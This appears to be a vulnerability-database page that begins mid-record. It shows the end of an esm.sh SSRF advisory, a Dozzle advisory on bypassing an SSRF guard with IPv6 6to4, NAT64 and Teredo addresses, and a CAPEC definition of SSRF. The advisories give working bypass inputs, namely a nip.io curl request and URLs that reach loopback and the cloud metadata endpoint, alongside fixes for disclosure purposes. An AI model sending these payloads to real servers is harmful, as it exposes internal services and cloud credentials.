`server/router.go:595-596`\n  - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n  - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get(\u0027/secret.js\u0027)\ndef secret_js():\n    return Response(\u0027secret;\\n\u0027, mimetype=\u0027application/javascript\u0027)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n  -v \"\u003cYOUR_PATH\u003e/flask-internal:/app\" -w /app \\\n  python:3.11-alpine sh -lc \"pip install --no-cache-dir flask \u0026\u0026 python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n\u003cimg width=\"1206\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" /\u003e\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n\u003cimg width=\"1210\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff\" /\u003e\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**",
  "id": "GHSA-p2v6-84h2-5x4r",
  "modified": "2026-03-02T16:40:47Z",
  "published": "2026-02-25T22:57:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27730"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/pull/1149"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route"
}

GHSA-P2W3-6X73-2F6X

Vulnerability from github – Published: 2026-09-08 18:11 – Updated: 2026-09-08 18:11
VLAI
Summary
Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher
Details

Summary

The isBlockedIP SSRF guard in Dozzle's webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs.

Affected component / versions

  • Package: github.com/amir20/dozzle
  • Affected versions: all versions with SSRF guard (current HEAD b9df313)
  • Vulnerable code: internal/notification/dispatcher/webhook.go

Details

Root cause (CWE-918)

internal/notification/dispatcher/webhook.go:32-51:

func isBlockedIP(ip net.IP) bool {
    if ip.IsLoopback() ||
        ip.IsLinkLocalUnicast() ||
        ip.IsLinkLocalMulticast() ||
        ip.IsMulticast() ||
        ip.IsInterfaceLocalMulticast() ||
        ip.IsUnspecified() {
        return true
    }
    if v4 := ip.To4(); v4 != nil && zeroNetV4.Contains(v4) {
        return true
    }
    if ip.Equal(net.IPv4bcast) {
        return true
    }
    return false
}

The guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks:

Mechanism Prefix Embeds isBlockedIP result
6to4 2002::/16 any IPv4 in bits 16-47 false
NAT64 WKP 64:ff9b::/96 any IPv4 in bits 96-127 false
Teredo 2001:0000::/32 any IPv4 in bits 96-127 false

Reachability / trust boundary

The safeDialContext function (line 53) resolves hostnames and checks each IP against isBlockedIP before establishing a TCP connection. This is used as the DialContext for the webhook HTTP client (line 115).

Webhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine's loopback services or cloud metadata endpoint.

Attack chain

  1. Authenticated user creates a webhook notification with URL http://[2002:7f00:0001::1]:8080/ (6to4 embedding 127.0.0.1)
  2. When a notification triggers, Dozzle's webhook dispatcher calls safeDialContext
  3. The IPv6 address 2002:7f00:0001::1 is checked against isBlockedIP -- all predicates return false
  4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1
  5. The webhook POST reaches the host's loopback services

Impact

An authenticated user can bypass the SSRF guard to:

  • Reach cloud metadata service at 169.254.169.254 via 2002:a9fe:a9fe::1 (6to4) to steal instance credentials
  • Reach localhost services via 64:ff9b::7f00:1 (NAT64) or 2002:7f00:0001::1 (6to4)
  • The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned)

Note: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.

Proof of concept

Bypass vectors:

# 6to4 embedding 127.0.0.1 (bypasses IsLoopback)
http://[2002:7f00:0001::1]:8080/

# NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[64:ff9b::a9fe:a9fe]/latest/meta-data/

# 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[2002:a9fe:a9fe::1]/latest/meta-data/

# Teredo embedding 127.0.0.1
http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/

Verification that isBlockedIP returns false for all vectors:

package main

import (
    "fmt"
    "net"
)

func isBlockedIP(ip net.IP) bool {
    return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
        ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()
}

func main() {
    for _, v := range []string{
        "2002:7f00:0001::1",    // 6to4 -> 127.0.0.1
        "64:ff9b::a9fe:a9fe",   // NAT64 -> 169.254.169.254
        "2002:a9fe:a9fe::1",    // 6to4 -> 169.254.169.254
    } {
        ip := net.ParseIP(v)
        fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip))
    }
}
// Output: all false

Remediation

Add IPv6 transition mechanism prefix checks to isBlockedIP:

func isBlockedIP(ip net.IP) bool {
    // ... existing checks ...

    // IPv6 transition mechanisms embedding arbitrary IPv4
    if len(ip) == net.IPv6len {
        if ip[0] == 0x20 && ip[1] == 0x02 { return true } // 6to4
        if ip[0] == 0x00 && ip[1] == 0x64 && ip[2] == 0xff && ip[3] == 0x9b { return true } // NAT64
        if ip[0] == 0x20 && ip[1] == 0x01 && ip[2] == 0x00 && ip[3] == 0x00 { return true } // Teredo
    }
    return false
}

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1-0.20260804193351-8cf7ccd5ee04"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T18:11:56Z",
    "nvd_published_at": "2026-08-11T17:19:16Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe `isBlockedIP` SSRF guard in Dozzle\u0027s webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs.\n\n## Affected component / versions\n\n- Package: `github.com/amir20/dozzle`\n- Affected versions: all versions with SSRF guard (current HEAD [`b9df313`](https://github.com/amir20/dozzle/commit/b9df31356fc024e6768a1aac605844dc041d95ee))\n- Vulnerable code: `internal/notification/dispatcher/webhook.go`\n\n## Details\n\n### Root cause (CWE-918)\n\n[`internal/notification/dispatcher/webhook.go:32-51`](https://github.com/amir20/dozzle/blob/b9df31356fc024e6768a1aac605844dc041d95ee/internal/notification/dispatcher/webhook.go#L32-L51):\n\n```go\nfunc isBlockedIP(ip net.IP) bool {\n\tif ip.IsLoopback() ||\n\t\tip.IsLinkLocalUnicast() ||\n\t\tip.IsLinkLocalMulticast() ||\n\t\tip.IsMulticast() ||\n\t\tip.IsInterfaceLocalMulticast() ||\n\t\tip.IsUnspecified() {\n\t\treturn true\n\t}\n\tif v4 := ip.To4(); v4 != nil \u0026\u0026 zeroNetV4.Contains(v4) {\n\t\treturn true\n\t}\n\tif ip.Equal(net.IPv4bcast) {\n\t\treturn true\n\t}\n\treturn false\n}\n```\n\nThe guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks:\n\n| Mechanism | Prefix | Embeds | `isBlockedIP` result |\n|-----------|--------|--------|---------------------|\n| 6to4 | `2002::/16` | any IPv4 in bits 16-47 | `false` |\n| NAT64 WKP | `64:ff9b::/96` | any IPv4 in bits 96-127 | `false` |\n| Teredo | `2001:0000::/32` | any IPv4 in bits 96-127 | `false` |\n\n### Reachability / trust boundary\n\nThe `safeDialContext` function (line 53) resolves hostnames and checks each IP against `isBlockedIP` before establishing a TCP connection. This is used as the `DialContext` for the webhook HTTP client (line 115).\n\nWebhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine\u0027s loopback services or cloud metadata endpoint.\n\n### Attack chain\n\n1. Authenticated user creates a webhook notification with URL `http://[2002:7f00:0001::1]:8080/` (6to4 embedding 127.0.0.1)\n2. When a notification triggers, Dozzle\u0027s webhook dispatcher calls `safeDialContext`\n3. The IPv6 address `2002:7f00:0001::1` is checked against `isBlockedIP` -- all predicates return false\n4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1\n5. The webhook POST reaches the host\u0027s loopback services\n\n## Impact\n\nAn authenticated user can bypass the SSRF guard to:\n\n- Reach cloud metadata service at 169.254.169.254 via `2002:a9fe:a9fe::1` (6to4) to steal instance credentials\n- Reach localhost services via `64:ff9b::7f00:1` (NAT64) or `2002:7f00:0001::1` (6to4)\n- The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned)\n\nNote: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.\n\n## Proof of concept\n\nBypass vectors:\n\n```\n# 6to4 embedding 127.0.0.1 (bypasses IsLoopback)\nhttp://[2002:7f00:0001::1]:8080/\n\n# NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)\nhttp://[64:ff9b::a9fe:a9fe]/latest/meta-data/\n\n# 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)\nhttp://[2002:a9fe:a9fe::1]/latest/meta-data/\n\n# Teredo embedding 127.0.0.1\nhttp://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/\n```\n\nVerification that `isBlockedIP` returns false for all vectors:\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"net\"\n)\n\nfunc isBlockedIP(ip net.IP) bool {\n    return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||\n        ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()\n}\n\nfunc main() {\n    for _, v := range []string{\n        \"2002:7f00:0001::1\",    // 6to4 -\u003e 127.0.0.1\n        \"64:ff9b::a9fe:a9fe\",   // NAT64 -\u003e 169.254.169.254\n        \"2002:a9fe:a9fe::1\",    // 6to4 -\u003e 169.254.169.254\n    } {\n        ip := net.ParseIP(v)\n        fmt.Printf(\"%-35s blocked=%v\\n\", v, isBlockedIP(ip))\n    }\n}\n// Output: all false\n```\n\n## Remediation\n\nAdd IPv6 transition mechanism prefix checks to `isBlockedIP`:\n\n```go\nfunc isBlockedIP(ip net.IP) bool {\n\t// ... existing checks ...\n\n\t// IPv6 transition mechanisms embedding arbitrary IPv4\n\tif len(ip) == net.IPv6len {\n\t\tif ip[0] == 0x20 \u0026\u0026 ip[1] == 0x02 { return true } // 6to4\n\t\tif ip[0] == 0x00 \u0026\u0026 ip[1] == 0x64 \u0026\u0026 ip[2] == 0xff \u0026\u0026 ip[3] == 0x9b { return true } // NAT64\n\t\tif ip[0] == 0x20 \u0026\u0026 ip[1] == 0x01 \u0026\u0026 ip[2] == 0x00 \u0026\u0026 ip[3] == 0x00 { return true } // Teredo\n\t}\n\treturn false\n}\n```\n\n## Credit\n\nReported by tonghuaroot (tonghuaroot@gmail.com).",
  "id": "GHSA-p2w3-6x73-2f6x",
  "modified": "2026-09-08T18:11:56Z",
  "published": "2026-09-08T18:11:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-p2w3-6x73-2f6x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73087"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/pull/4887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/commit/8cf7ccd5ee041ecaea92b49951793d4d2393761f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.6.15"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.